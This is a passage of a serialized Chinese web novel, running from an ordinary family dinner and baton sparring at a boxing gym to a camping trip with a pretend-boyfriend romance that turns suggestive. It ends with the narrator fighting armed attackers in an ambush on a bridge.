“你那个短棍,能打过**吗?”
“老刀说能。”
“老刀说什么你都信?”
“嗯,他是我师父。”
赵暮发了一个省略号,然后说:“周末老刀说要搞个实战模拟,你来不来?”
“来。”
“那你把你的棍子带上,我也想试试。”
“行。你别哭。”
“谁哭谁是小狗。”
我笑了,放下手机,继续练。
第49章 安然的过往
周六下午,我去了翡翠湾。
小鹿在小区门口等我,穿着一件粉色的卫衣,头发扎成两个小辫子,看到我的车就蹦蹦跳跳地挥手。
“哥哥!这里!”
我停好车,推门下来。她跑过来,拉着我的手。
“哥哥,你猜我期中考试考了多少分?”
“多少?”
“数学九十五!英语九十一!语文八十八!”她掰着手指头数,“妈妈说,我要是考到九十五分就给我买新手机。你看——”
她从口袋里掏出一部崭新的手机,在我面前晃了晃。粉色的壳,屏幕亮着,壁纸是一只小猫。
“厉害。”我说,“九十五分,说到做到。”
“那是!”她得意地扬起下巴,“我可是答应过你的。”
“答应过我什么?”
“答应你好好学习呀。”她拉着我往小区里走,“上次你说,让我好好学习,以后考大学。我都记着呢。”
我心里暖了一下。
“走,妈妈做了好多菜,都是你爱吃的。”
安然今天穿了一件浅蓝色的针织衫,下面是一条白色的休闲裤,头发散着,脸上化了一点淡妆。她站在厨房门口,手里拿着锅铲,看到我进来,笑了。
“来了?坐,还有一个菜就好。”
“我来帮忙。”
“不用,你是客人,坐着就行。”
小鹿拉着我在沙发上坐下,从书包里拿出一张试卷,摊在茶几上。
“哥哥,你看这道题。我做对了,但老师说我过程不标准。”
我看了一眼。是一道几何题,求三角形的面积。她用的公式没错,但跳了两个步骤。
“你跳步了。”我说,“考试的时候,步骤分也很重要。你跳了步骤,老师不知道你是不是真的会。”
“可是我觉得太简单了,不用写那么多。”
“你觉得简单,老师不觉得。你写全了,老师给你分。你不写全,老师扣你分。你说哪个划算?”
她想了想。“写全了划算。”
“那下次写全吗?”
“写全。”她把试卷收起来,“哥哥,你以后教我数学吧。妈妈说她数学不好,教不了我。”
“行。每周六,我过来教你。”
“真的?”
“真的。”
“拉钩。”
她伸出小拇指。我也伸出小拇指,和她拉了钩。
安然端着一盘菜从厨房出来,看到我们在拉钩,笑了。
“你们俩在干嘛?”
“拉钩!”小鹿说,“哥哥答应每周六来教我数学!”
安然看了我一眼,眼神里有一种说不清的东西。
“林远,你不用——”
“没事。”我说,“反正周末也没什么事。”
她没再说什么,把菜放在桌上。
“吃饭了。”
菜摆了满满一桌:红烧排骨、清炒虾仁、蒜蓉西兰花、凉拌木耳、清蒸鲈鱼,还有一碗排骨汤。比上次还多了一个菜。
“你一个人做这么多?”
“小鹿说要给你做。”安然在我对面坐下,给小鹿夹了一块排骨,“她说你上次吃得很开心,让我多做几个。”
“哥哥,你多吃点。”小鹿给我夹了一块排骨,“你太瘦了。”
“我不瘦。”
“你瘦。”她理直气壮,“上次你抱我的时候,我都能摸到你的骨头。”
安然看了女儿一眼。“小鹿,吃饭的时候别说话。”
小鹿吐了吐舌头,低头吃饭。
我夹了一块排骨,咬了一口。肉质软烂,入味,不咸不淡。
“好吃吗?”安然问。
“好吃。”
她笑了,那笑容里有满足,也有一种说不清的温柔。
吃完饭,小鹿去写作业。安然收拾碗筷,我帮忙端盘子。她洗碗,我擦碗。两个人的手在水里碰到一起,她缩了一下,然后又伸过来。
“林远。”
“嗯。”
“你最近忙吗?”
“还行。澜曦的项目在推进,有点忙。”
“那你还每周来教小鹿数学,会不会太累?”
“不会。”我说,“教她数学,我自己也放松。”
她看了我一眼,没说话。
碗洗完了。她擦干手,走到阳台上,推开窗户。夜风吹进来,凉飕飕的。
“出来坐坐?”她回头看着我。
阳台上有一张小圆桌和两把椅子。她坐下来,给自己倒了一杯水,又给我倒了一杯。
“林远。”
“嗯。”
“你想听一个故事吗?”
“什么故事?”
她沉默了一会儿,看着窗外的夜色。
“我十八岁的时候,遇到了一个人。”她的声音很轻,“他比我大五岁,长得好看,说话好听,对我很好。我以为他是真心的。”
“后来呢?”
“后来我怀孕了。”她的语气平静得像在说别人的事,“他说他会负责,会娶我,会养孩子。然后他就消失了。”
“你没找他?”
“找了。找不到。”她端起水杯喝了一口,“他给我的名字是假的,电话是临时的,住址是租的。他就是一个骗子。”
“那你怎么——”
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“我生下了小鹿。”她放下水杯,“我爸妈让我打掉,我不肯。他们说我丢人,让我别回家了。我一个人从老家出来,到了滨海,在一家工厂打工,后来自己开了网店,慢慢做起来。”
她看着我,笑了。那笑容里有心酸,有释然,也有一种让人心疼的倔强。
“所以你看,我什么苦都吃过了。一个人带孩子,一个人创业,一个人扛着。现在什么都好了,但有时候还是会觉得——”
“觉得什么?”
“觉得——”她顿了顿,“有点累。”
我没有说话,她也没有说话,两个人就这么愣了好一阵子才重新开口。
“林远。”
“嗯。”
“你是个好人。”
“不是好人。”我说,“是有底线的人。”
她愣了一下,然后笑了。“你每次都这么说。”
“因为这是实话。”
她看着我,眼神里有一种说不清的东西。
“林远,谢谢你。”
“谢什么?”
“谢谢你帮了小鹿。谢谢你愿意教她数学。”她顿了顿,“谢谢你让我觉得,这个世界上还是有好人的。”
“你也是好人。”我说。
“我不是。”她摇了摇头,“我是吃过亏的人,吃过亏的人,不一定是好人。”
“吃过亏的人,才知道怎么对别人好。”我说,“你一个人把小鹿养大,给她做饭、陪她学习、给她买手机——你不是好人是什么?”
她看着我,眼眶红了,但没有哭。
“林远,你这张嘴——”她笑了,“真会说话。”
“不是会说话。”我说,“是实话。”
她没再说什么,我们就那么坐着。
屋里传来小鹿的声音:“妈妈!我作业写完了!”
安然站起来。“来了。”
她转身往里走,走到门口的时候,停下来回头看着我。
“林远,下周还来吗?”
“来。”
“好。我给你做好吃的。”
从翡翠湾出来,已经是晚上九点多了。
我刚上车手机震了,赵暮的消息。
“师兄,明天拳馆实战模拟,别忘了带棍子。”
“忘不了。”
“你准备好了吗?”
“准备好了,你呢?”
“我也准备好了,明天别放水。”
“不放。”
“谁哭谁是小狗。”
“行。”
我放下手机,踩下油门。
副驾驶上,那根黑色的短棍静静地躺着。
明天是实战模拟,后天还有更多的事。
第50章 实战练习
周日,拳馆。
老刀说今天搞实战模拟,所有人都到了。送快递的老李,开出租的大刘,在工地上搬砖的小赵,还有几个我叫不上名字的师兄。加上我和赵暮,一共八个人,分成四组,轮流上擂台。
规则很简单:三分钟一回合,不许打后脑,不许踢裆,点到为止。但老刀说的“点到为止”和一般人理解的不太一样——他的意思是“不打残就行”。
赵暮站在我旁边,手里拿着短棍,眼神里带着兴奋。
“师兄,咱俩一组?”
“行。”
老刀走过来,看了我们一眼。“你们俩最后上,先看别人打。”
第一组是老李对大刘。
老李瘦,但速度快,拳头像雨点一样砸过去。大刘壮,抗揍,挨了几下没事,一记重拳把老李逼退。两人你来我往,打了三回合,老刀喊停,说平局。
“平局个屁!”老李不服,“我点数领先。”
“点数有个屁用。”老刀面无表情,“实战中谁给你算点数?打倒才算赢,你没打倒他,他也没打倒你,就是平局。”
老李不说话了。
第二组是小赵对一个叫阿东的师兄。小赵年轻,体力好,但经验不足。阿东三十出头,稳,不急不躁,抓住小赵一个空档,一记抱摔把小赵按在地上。
“停。”老刀说,“阿东赢。”
小赵爬起来,拍了拍身上的灰,冲阿东竖了个大拇指。
第三组是两个师兄,一个叫大熊,一个叫阿坤。大熊一米八几,两百多斤,往那一站像一堵墙。阿坤瘦小,但灵活,围着大熊转,就是不让他抓住。
“**能不能别跑?”大熊急了。
“**能不能别追?”阿坤回了一句。
擂台边上的人都笑了。老刀嘴角抽了抽,没笑。
最后阿坤体力不支,被大熊逼到角落,一拳打在肩膀上,退出了擂台。
“大熊赢。”老刀说,“阿坤,你太依赖速度了。速度没了,你就输了。”
阿坤喘着粗气,点了点头。
轮到我和赵暮了。
我们戴上护具,拿起短棍,走上擂台。赵暮站在我对面,双手握棍,眼神专注。
“师兄,我不会手下留情的。”
“我也是。”
老刀喊了一声“开始”,赵暮先动了。
她的棍法比上周进步了很多。劈、刺、挡,动作连贯,发力干脆。棍子在空中划出弧线,带着呼呼的风声,朝我劈过来。
我侧身避开,棍子擦着我的肩膀过去。她的反应很快,收棍、转腕、刺,一气呵成。棍尖朝我胸口捅过来,我横棍格挡,“啪”的一声,两根棍子撞在一起,震得手掌发麻。
“不错。”我说。
“少废话。”她收棍再劈。
我后退一步,避开她的攻击范围。她的棍子劈空,重心前移,露出了一个空档。我抓住机会,往前迈了一步,一棍劈向她的肩膀。
她横棍格挡,但我的力量比她大。她的棍子被我压下去,棍尖停在她肩膀上。
“停。”老刀说,“林远胜。”
赵暮放下棍子,瞪了我一眼。“你力气大,欺负人。”
“这叫战术。”我笑了,“你出棍太猛,收不回来,我当然要抓住机会。”
“你——”
“她说得对。”老刀走过来,“赵暮,你出棍的时候,不要用全力。七分力就够了,留三分收。你每次都全力劈出去,收不回来,遇到会打的,一抓一个准。”
赵暮咬了咬嘴唇,没说话。
“再来一局。”老刀说。
第二局,赵暮学乖了。她不再猛冲猛打,而是稳扎稳打,一棍一棍地试探。我进攻,她格挡;她反击,我闪避。两人打了两个回合,谁也没占到便宜。
老刀在旁边看着,突然喊停。
“赵暮,你下来。”
赵暮愣了一下。“为什么?”
“你打不过他。换人。”
赵暮不服气,但还是下了擂台。老刀走上擂台,从架子上拿了一根短棍,站在我对面。
“林远,你跟我打。”
拳馆里安静了下来。
老刀站在我对面,手里拿着短棍,面无表情。他穿了一件旧军绿色的T恤,袖子卷到肩膀,露出结实的手臂。手臂上有几道疤,长短不一,像是被刀划过。
“老刀,你认真的?”
“我什么时候不认真?”
我深吸了一口气,握紧短棍。
老刀说了一声“来”,我先动了。
一棍劈过去,老刀侧身避开,轻松得像是在散步。我收棍再刺,他用棍尾轻轻一拨,我的棍子偏了方向,整个人往前栽了一步。
“太慢了。”他说。
我稳住重心,连续劈了三棍。左、右、左,棍子在空中划出一道道弧线。老刀一一避开,脚步都没怎么动。
“太慢了。而且你的棍路太直,容易被预判。”
我
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咬了咬牙,加快了速度。劈、刺、劈、挡、刺——我把学过的招式全都用上了,棍子舞得虎虎生风。但老刀就像一片叶子,我的棍子打过去,他就飘开,打不着,摸不到。
“停。”他说。
我停下来,喘着粗气。
老刀走到我面前,伸出手,拿过我的短棍。
“你看好了。”
他握着棍子,手腕一翻,棍尖在空中划了一个圆,然后猛地劈向沙袋。沙袋剧烈地荡出去,链条发出刺耳的摩擦声。
“这一棍,用了多少力?”他问我。
“七分?”
“三分。”他说,“发力不是用蛮力。是用身体的力量,腰、腿、背、肩,一起发力。你的力量都在手臂上,所以慢,所以容易被预判。”
他把棍子还给我。
“再来。”
我学着他的样子,手腕一翻,棍尖划圆,劈向沙袋。
“再来。”
劈。
“再来。”
劈。沙袋晃得大了一些。
“再来。”
第十次的时候,沙袋荡出去的距离,已经接近老刀那一棍了。
“还行。”老刀说,“但还差得远。你练了多久?”
“两周。”
“两周能打成这样,不错。”他走回擂台中央,“但你离‘能用’还差得远。真正打起来,对方不会站着让你打。你出一棍,对方会躲、会挡、会反击。你准备好了吗?”
“准备好了。”
“那继续。”
他又和我打了三个回合。每一回合,我都被他打得毫无还手之力。他的棍子像长了眼睛一样,总能从我意想不到的角度打过来。我的手臂、肩膀、后背,挨了好几下,虽然戴着护具,但还是疼得钻心。
最后一棍,他劈在我的短棍上,震得我虎口发麻,短棍差点脱手。
“停。”他说,“够了。”
我放下棍子,喘着粗气,浑身是汗。
老刀看着我,难得地多说了一句:“你底子不错,但还差得远。继续练。”
“知道了。”
他转身走下擂台,坐到沙发上,拿起那支没点的烟,叼在嘴里。
赵暮走过来,递给我一瓶水。“师兄,你没事吧?”
“没事。”
“你刚才那几棍,打得挺好的。”
“输了就是输了。”我拧开瓶盖,喝了一口,“老刀说得对,我还差得远。”
“那你继续练。”她笑了,“我陪你。”
第51章 野外露营
从拳馆出来,已经是下午了。
赵暮说她回局里加班,先走了。我刚想上车手机震了,一个陌生号码。
我接起来,那边沉默了两秒。
“林远,是我。”
是小雅。声音比以前轻快了一些,没有那种压抑的、小心翼翼的感觉。
“小雅姐?你换号码了?”
“嗯,以前的不用了。”她顿了顿,“我妈出院了,医生说恢复得挺好,以后定期复查就行。”
“那太好了。”
“我想当面谢谢你。”她说,“要不是你那天晚上来,要不是你给的那些钱,我妈可能撑不到现在。”
“不用谢——”
“林远,你听我说。”她打断我,“我知道你忙,但我想见你一面。就一面。行吗?”
我沉默了一下。
“行。什么时候?”
“下周六?你来县城,我请你吃饭。”
“好,周六准时到。”
“好,我等你。”
周六早上,天还没亮透,我就出了门。
小雅昨天发来定位,地点在县城郊外的青峰山,离滨海市区大概一个半小时车程。她说早上九点在山脚下集合,让我别迟到。
我开着那辆白色奥迪,上了高速。车里放着音乐,副驾驶上放着那根短棍——老刀说走到哪带到哪,我习惯了。
到山脚下的时候,八点四十五。停车场已经停了几辆车,一辆五菱宏光、一辆老款大众、一辆电动小蚂蚁。
小雅站在停车场入口,穿着一件白色的运动外套,头发扎成高马尾,脸上化了一点淡妆。她看到我的车,眼睛亮了一下,走过来。
“林远,你来了。”她压低声音,“记住,你现在是我男朋友。叫小雅,别叫姐。”
“小雅。”我叫了一声。
她笑了,那笑容里有紧张,也有期待。“走,我带你去认识一下同事。”
小雅换了工作,在县城的一家美容院上班,这样离家近方便照顾她妈。
团建来了八个人,加上我和小雅,一共十个。五个女的,三个男的,还有一对情侣——女的叫小美,是小雅的同事,男的叫阿杰,在县城开了一家健身房。
小雅拉着我走到人群中间。“这是我男朋友林远,在滨海上班。”
几个女同事的目光齐刷刷地落在我身上。从上到下,从脸到脚,像是在打量一件限量版的商品。
“哇,小雅,你男朋友好高啊。”
“这车是他的?奥迪A4?小雅你藏得够深的。”
“皮肤也好白,小雅你从哪找的?”
小雅笑了笑,挽住我的胳膊。“他在滨海做运营总监,平时忙,难得来一次。”
我配合地笑了笑,没有说话。小美走过来,上下打量了我一眼,然后转头对小雅说:“小雅,你妈上次说你男朋友是开公司的?原来是真的?”
小雅的脸微微红了一下。“嗯,他开了家美容院。”
我愣了一下,但没拆穿。运营总监和开公司的,差得有点远。但这时候拆穿,小雅的面子就没了。
“走吧,爬山了。”领队的是个三十多岁的男人,姓王,胖乎乎的,说话带着笑,“小雅的男朋友,你体力行不行?青峰山一千多级台阶呢。”
“应该还行。”我说。
青峰山的台阶确实多,一级一级往上,看不到头。
几个女同事爬了不到一半就开始喘,扶着栏杆休息。小雅也喘,但咬着牙往上走。我跟在她旁边,步伐平稳,呼吸均匀。老刀每天早上让我跳绳、跑步、打沙袋,这点台阶不算什么。
“你都不累的吗?”小雅看着我,眼神里带着一丝惊讶。
“还行。”
“你体力怎么这么好?”
“练的。”
小美在后面喊:“小雅,你男朋友体力这么好,你平时可享福了。”
旁边几个女同事笑了,小雅的脸红了,没接话。
爬到山顶的时候,已经快十一点了。山顶有一片草坪
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,能看到整个县城的全貌。远处的山峦叠嶂,近处的田野如棋盘,风很大,吹得头发乱飞。
小雅站在崖边,张开双臂,闭上眼睛,深深地吸了一口气。
“林远,你过来看。”
我走过去,站在她旁边。
“好看吗?”她问。
“好看。”
“你是说风景,还是说我?”
“都好看。”
她转过头,看着我,笑了。那笑容里有得意,也有一种说不清的甜。
下午的活动是搭帐篷和烧烤。
领队老王带了五个帐篷,两人一个。小美和阿杰自然是一对,剩下的女同事两两一组,男同事两两一组。老王看了看剩下的帐篷,又看了看我和小雅。
“你们俩情侣,肯定住一起吧?”
小雅看了我一眼,我点了点头。
“行。”老王把最后一个帐篷递给我,“你们俩住这个。”
帐篷不大,刚好够两个人躺下。我帮小雅支好帐篷,铺好防潮垫和睡袋。她蹲在旁边看着我忙活,没有说话。
“林远。”
“嗯。”
“你今天表现挺好的。”
“什么表现?”
“就是——”她顿了顿,“当我男朋友的表现。她们都信了。”
“那就好。”
“你不想问问我,为什么跟她们说你是我男朋友?”
“你想说的时候自然会说。”
她沉默了一会儿。
“我妈催我找对象,我就说你是我男朋友。后来她跟邻居说了,邻居跟同事说了,就传开了。”她低下头,“我没办法,只能继续演。”
“没事。”我说,“演戏我熟。”
她愣了一下,然后笑了。“你熟?你以前演过?”
“在滨海的时候,秦红带我去见客户,我也得演。演成功人士、演运营总监、演什么都行。”
“那你演得好吗?”
“还行,没穿帮过。”
她笑了,笑得眼睛弯成了月牙。
第52章 帐篷里的秘密
晚上,烧烤。
老王支起了两个烤架,炭火烧得通红。几个男同事负责烤,女同事负责吃。小雅坐在我旁边,我给她烤了几串羊肉,又烤了几串鸡翅。
“好吃吗?”我问。
“好吃。”她咬了一口羊肉,眼睛亮了,“你还会烤肉?”
“在老家的时候经常烤。乡下那种大烤架,一次能烤几十串。”
“你老家在哪?”
“乡下。说了你也不知道。”
“你说说看。”
我说了村子的名字。她摇了摇头,说没听过。
“就是一个小村子,在地图上都找不到的那种。”我翻了一下烤串。
把烤好的鸡翅递给她,“多吃点。你瘦了。”
她接过去,咬了一口,没说话。
就在这时,不远处的草地上,小美和阿杰正在打闹。
“阿杰!你烤糊了!”小美娇嗔着,手里拿着一串黑乎乎的鸡翅,追着阿杰跑。
阿杰笑着躲闪,突然脚下一滑,整个人向后倒去。小美惊呼一声,下意识地扑过去扶他,结果两个人一起摔在了草地上。
“哎哟!”
“你压着我了!”
“谁让你烤糊的!”
两个人躺在草地上,脸对着脸,距离近得几乎能碰到鼻尖。阿杰看着小美,眼神里满是宠溺,突然伸手捏了捏小美的鼻子。
“小傻瓜。”
小美脸一红,轻轻打了他一下,然后顺势躺在他怀里,两个人就这么抱着,在草地上滚来滚去,笑声不断。
小雅看着他们,眼神里闪过一丝羡慕。
“他们感情真好。”她轻声说道。
“嗯。”我点了点头。
“林远。”
“嗯?”
“你有没有想过,以后找个什么样的人?”
我想了想。“没想过。”
“骗人。”
“真的没想过。”我把烤串翻了个面,“以前在省城打工,一个月三千五,连自己都养不活,哪敢想这些。后来来了滨海,天天忙着工作,也没时间想。”
“那现在呢?现在你有时间了吗?”
我看着她,她正看着我。
“现在——”我顿了顿,“也没时间。”
她笑了,那笑容里有一点失落,也有一点释然。
晚上九点多,大家陆续进了帐篷。
山里的夜很静,风穿过松林,发出沙沙的声响。远处偶尔传来几声鸟叫,又远又轻。
帐篷里很小。我和小雅并排躺着,中间隔着一条睡袋。她没有拉上睡袋的拉链,只是盖在身上。帐篷顶的网布透进来一点月光,朦朦胧胧的,像隔了一层纱。
“林远。”
“嗯。”
“你冷吗?”
“不冷。”
“我有点冷。”
我侧过身,把身上的外套脱下来,递给她。她没有接,而是往我这边挪了挪。睡袋被挤到了一边,她的肩膀直接碰到了我的手臂。
“你离我近一点。就不冷了。”
她的声音很轻,轻得像是怕被风听到。
我没有动。她又挪了挪,这一次,她的身体几乎贴了上来。隔着薄薄的运动外套,我能感觉到她身体的温度——热的,像一团火。
“小雅——”
“别说话。”她打断我,声音低低的,“今晚你是我男朋友,演戏演全套。”
我沉默了一下。“全套不包括这个。”
“包括。”她抬起头,看着我的眼睛:“林远,你知道我为什么叫你来吗?”
“为什么?”
“因为我想见你。”她说,“不是因为我妈,不是因为同事,是因为我想见你。”
“小雅——”
“你听我说完。”她伸出手,手指按在我的嘴唇上,“我知道你心里有别人。我知道你对她好,等她,护着她。我不跟她比,也比不过。”
她的手指从我的嘴唇上滑下来,落在我的胸口。
“但今晚,你是我的男朋友,就今晚。”
她的手在我胸口停了一会儿,然后慢慢往下,解开了我的衬衫第一个扣子。夜风从帐篷的缝隙里钻进来,凉飕飕的。
“小雅,别——”
“你别动。”她打断我,“今晚你听我的。”
她的手指解开了第二颗扣子,我的胸口露出来,能看清肌肉的轮廓。她的指尖在我的锁骨上画了一个圈,然后往下,沿着胸口的线条慢慢滑过。
“你练拳了?”她问。
“嗯。”
“胸比我都大了。”小雅摸了摸自己,又摸了摸我的胸肌一脸认真地说道。
“没……没那么夸张!”我被她摸得很痒。
“我说了,你别动。”她的声音带着一丝颤抖,但不是害怕,是某种别的什么东西,“你帮了我那么多,我连一句谢谢都没好好说过。”
“你已经谢过了。”
“谢多少次都不够。”她低下头,嘴唇贴在我的胸口,轻轻地吻了一下。她的嘴唇很软,很热,贴在我的皮肤上,像一小团火。
我的身体绷紧了。
就在这时,隔壁帐篷突然传来一阵响动。
“阿杰……别……”是小美的声音,带着喘息和压抑的呻吟。
“小美……你好美……”阿杰的声音粗重而急切。
接着是窸窸窣窣的衣物摩擦声,和床板摇晃般的帐篷震动声。
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“嗯……轻点……”小美的声音越来越高,带着一种无法抑制的愉悦。
小雅停了一下,抬起头,看着我。她的脸红红的,眼睛半睁半闭,睫毛在微微颤抖。
“你听到了吗?”她问。
“听到了。”
“林远。”她叫我的名字,声音低得像是在呢喃,“你是不是也听到了?”
我没有回答。
她笑了一下,那笑容里有羞涩,有紧张,也有一种不管不顾的冲动。她伸出手,拉住了我的手,放在她的胸口,隔着运动外套,能感觉到皮肤的温度。
“你摸。”她说,“我的心跳好快。”
我用手试了试确实快,快得像是在跑。
“小雅,你知道你在干什么吗?”
“知道。”她看着我,“我在勾引你。”
她说这句话的时候,平平淡淡的像是在说一件很普通的事。但她的眼睛出卖了她——那里面有渴望,有紧张。
“林远,我不求你喜欢我。”她的声音很轻,“我只想今晚,你是我的。”
她的手从我的胸口滑到我的脖子上,勾住了我的后颈,把我往下拉。她的呼吸打在我的脸上,热热的,带着一点牙膏的薄荷味。
“吻我。”她说。
我看着她,沉默了两秒。
然后我低下头,吻了她。
她搂住我的脖子,热烈的回应!
吻了很久,久到隔壁的声音停了。
她松开我,喘着气,脸更红了。
“林远。”
“嗯。”
“你刚才吻我的时候,想的是她,还是我?”
我没有回答。
她看着我的眼睛,笑了。那笑容里有释然,也有一种说不清的苦涩。
“没关系。”她说,“就算是她,我也认了。”
她靠过来,把脸埋在我的胸口。她的手搭在我的腰上,手指微微蜷着,像是在抓住什么。
“林远。”
“嗯。”
“今晚别走。就今晚。”
我没有说话,手放在她的背上,隔着衣服,感受着她的体温。
隔壁帐篷又传来一些声音,但已经很轻了。
小雅的身体慢慢放松了,呼吸变得均匀。她没有睡着,但也没有再说话。
我抱着她,看着帐篷顶不知道该说些什么。
“林远。”
“嗯。”
“谢谢你今晚来。”
“不用谢。”
“林远。”
“嗯。”
“你心里那个人,她知道你有多好吗?”
我没有回答。
她笑了:“她真幸运。”
她没有再说下去。
帐篷里安静了,一夜无话。
第53章 撞车了
第二天早上,我是被鸟叫声吵醒的。
山里的天亮得早,阳光透过帐篷的网布照进来一点刺眼。小雅还在睡,头枕在我的胳膊上。她的胳膊搭在我身上,腿搭在我腿上,跟个树袋熊似的。
我胳膊麻了但没有动,怕一动,她就醒了。
过了十几分钟,她的睫毛颤了颤,慢慢睁开了眼睛。她看到我的第一眼,愣了一下,然后想起了什么,脸一下子红了。
“早。”我说。
“早。”她的声音有些沙哑,从我胳膊上抬起头,坐起来,把散落的头发扎起来。
“你胳膊没事吧?”她问。
“麻了。”
“你怎么不抽出去?”
“怕吵醒你。”
她看了我一眼,伸出手帮我揉了揉胳膊。
“疼吗?”
“不疼。”
“骗人。”她笑了,“你每次骗我,都说两个字。”
“你还记得?”
“记得。”她低下头,“你说的每句话,我都记得。”
从帐篷里出来的时候,小美和阿杰已经在烤火了。
小美看到小雅,眼睛一亮,跑过来挽住她的胳膊,压低声音:“小雅,昨晚怎么样?”
小雅的脸红了。“什么怎么样?”
“别装了。”小美笑了,凑到她耳边说了句什么。小雅的脸更红了,伸手打了小美一下。“你乱说什么?”
“我乱说?”小美回头看了阿杰一眼,“阿杰,你昨晚听到什么了?”
阿杰正蹲在烤架旁边生火,头都没抬。“我什么都没听到。我昨晚睡得跟死猪一样。”
“你当然是死猪。”小美白了他一眼,“打完呼噜就睡,什么都不知道。”
旁边几个同事也围过来了。一个叫小刘的女同事端着一杯热水,笑盈盈地看着小雅。“小雅,你男朋友体力真好。昨天爬山一点都不累,今天起得也早。”
“就是。”另一个女同事附和,“你们昨晚是不是很晚才睡?我好像听到你们那边有动静。”
小雅的耳朵都红了。“我们什么都没做。就是——聊了一会儿天。”
“聊了一会儿天?”小美拉长了音,“聊什么能聊到那么晚?”
我在旁边听着,不知道该说什么。小雅看了我一眼,眼神里带着求救的意思。
“聊工作。”我说,“她新工作的事,我给了一些建议。”
小美看了我一眼,又看了小雅一眼,笑了。“行,工作。你们继续工作。”
她拉着阿杰走了。小雅松了一口气,瞪了我一眼。“你刚才说什么工作?”
“不然呢?说我们昨晚在干什么?”
她的脸又红了,转过身去,不看我。
吃完早饭,大家开始收拾帐篷。老王说十点下山,中午在县城吃饭,然后各自回家。
小雅蹲在帐篷旁边,把睡袋叠好,塞进袋子里。我拆帐篷的支架,一根一根**,折叠好,放进包里。
“林远。”
“嗯。”
“昨晚——”她顿了顿,“谢谢你。”
“谢什么?”
“谢谢你没走。”她的声音很轻,“谢谢你陪了我一晚上。”
“不用谢。”
“还有——”她抬起头,看着我,“昨晚我说的话,你别往心里去。”
“什么话?”
“就是——”她咬了咬嘴唇,“我说今晚你是我的,那是我喝多了说的。”
“你没喝酒。”
她愣了一下,然后笑了。“你记性真好。”
“还行。”
她把睡袋塞进包里,拉上拉链。“林远,我问你一件事。”
“什么事?”
“如果——我是说如果——昨晚我们真的发生了什么,你会后悔吗?”
“有啥好后悔的,我一个大男人又不吃亏!”我耸耸肩说道。
听到这话她笑了!
“那就够了。”
下山的时候,小雅走在我旁边,步子很轻。
小美和阿杰走在前面,手牵着手,时不时回头看我们一眼,眼神里带着笑意。
“她们在笑什么?”小雅问。
“笑你。”
“笑我什么?”
“笑你找了个好男朋友。”
小雅看了我一眼,嘴角翘了一下。“你不是我男朋友。”
“她们不知道。”
“那你演得好一点。”她挽住我的胳膊,“别穿帮了。”
到了山下,老王说中午在县城吃饭,然后散伙。小雅拉着我走到她同事面前。“我们不去了。林
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远下午还要回滨海,有点事。”
小美笑了。“行,你们忙你们的。下次团建再来。”
“好。”
小雅上了我的车,系好安全带。我发动车子,驶出停车场。后视镜里,小美还在挥手,小刘她们也在挥手。
“她们挺喜欢你的。”小雅说。
“喜欢我什么?”
“喜欢你开奥迪。”
我笑了。“那要是开五菱宏光呢?”
“那就喜欢你人好。”
“你怎么知道我人好?”
“因为你对我好。”
我没有接话。
“林远。”
“嗯。”
“你下午真的有事吗?”
“没,就是不想去吃饭。”
“为什么?”
“因为那些人我不认识。去了也是尴尬。”
她沉默了一会儿。“那你直接回滨海?”
“嗯。先送你回家。”
“好。”
车子驶出县城,上了通往乡镇的公路。
小雅靠在座椅上,看着窗外的风景,嘴角带着笑。她的心情很好,我也没提昨晚的事。有些事,提了反而尴尬。
“林远。”
“嗯。”
“你以后还会来看我吗?”
“会。”
“什么时候?”
“等你有空的时候。”
“我每周都有空。”她转过头,看着我,“你什么时候来?”
“下周六?”
“好。”她笑了,“那我等你。”
车子拐进一条窄路,前方是一座石桥,桥不宽,刚好够一辆车通过。桥的那头,停着一辆黑色轿车,没有车牌。
我放慢了车速,盯着那辆车。心里有一种不好的预感。
“怎么了?”小雅问。
“前面有车。”
“可能是过路的。”
“不像。”
那辆车的车窗是深色的,看不到里面。它停在桥中间,把路堵**。我减速,准备倒车掉头。就在这时候,后视镜里出现了一辆面包车,从后面开过来,速度很快。
我踩下刹车。
“砰——”
面包车撞上了我的车尾。
小雅尖叫了一声,身体猛地前倾,被安全带拉住。我的头猛地甩了一下,感觉眼前一阵发黑。
第54章 挨了一刀
“林远!林远你没事吧?”小雅的声音在发抖。
“没事。”我晃了晃脑袋,视线慢慢清晰。后视镜里,面包车的车头紧贴着我的车尾。前面是黑色轿车,后面是面包车,我被夹在了中间。
这不是意外,这是埋伏。
面包车的门开了,下来四个人。领头的那个人,我认识——赵军。鼻梁上贴着绷带,眼睛下面青紫一片,脸上还带着没消的伤。
他手里拿着一根钢管,身后的三个人,一个拿着**,一个拿着棒球棍,还有一个空手,但腰里别着一把**。
“林远——”小雅的声音在发抖。
“待在车里,锁好门。”
“你要干什么?”
“下去看看。”
“你别去!他们那么多人——”
“没事。”我看着她,“锁好门。不管发生什么,别出来。”
我从副驾驶的座位底下抽出那根黑色的短棍,握在手里,推开车门下了车。
赵军站在对面,看着我,笑了。那笑容里有恨意,也有一种让人恶心的得意。
“林远,**跑啊?怎么不跑了?”
“赵军,你上次没被打够?”
他的脸抽搐了一下。“**少嘴硬。老子今天带了兄弟来,看你还能不能打。”
“你怎么知道我在县城?”
“你管我怎么知道的?”他举着钢管,朝我走过来,“有人花钱要你一条胳膊。林远,识相的就别动,我下手轻点。”
“谁?”
“你不需要知道。”
他身后的三个人朝我围过来,拿**的光头,拿棒球棍的瘦高个,空手的那个站在最后面,手放在腰间的**上。
桥不宽,两边是河。没有退路。
我握紧短棍,深吸一口气。
老刀说过,遇到多人**,不能站在原地,要移动。要让他们互相碍事。
光头先动了,他一刀劈过来,刀光在阳光下一闪,带着风声。我侧身避开,短棍横挡,“锵”的一声,棍子挡住了刀刃。
他的力量很大,震得我虎口发麻,但棍子没脱手。老刀说的,短棍对**,不能硬碰硬,要靠格挡卸力。
光头收刀再劈,我后退一步,棍尖刺向他的手腕。他来不及收刀,被棍尖戳中,疼得松了手,**掉在地上。
“操!”他骂了一声,捂着手腕退了两步。
拿棒球棍的瘦高个趁机冲上来,一棍横扫,朝我的腰砸过来。
我竖棍格挡,“砰”的一声,棒球棍砸在短棍上。他的力气不如光头,但速度更快。一棍接一棍,劈、扫、捅,打得很快。
我边挡边退,寻找机会。他又一棍砸下来,我侧身避开,棍子砸在桥栏杆上,石屑飞溅。他的重心前移,露出了后背。我往前一步,一棍劈在他的肩膀上。
“啊——”他惨叫一声,棒球棍脱手,捂着肩膀蹲在地上。
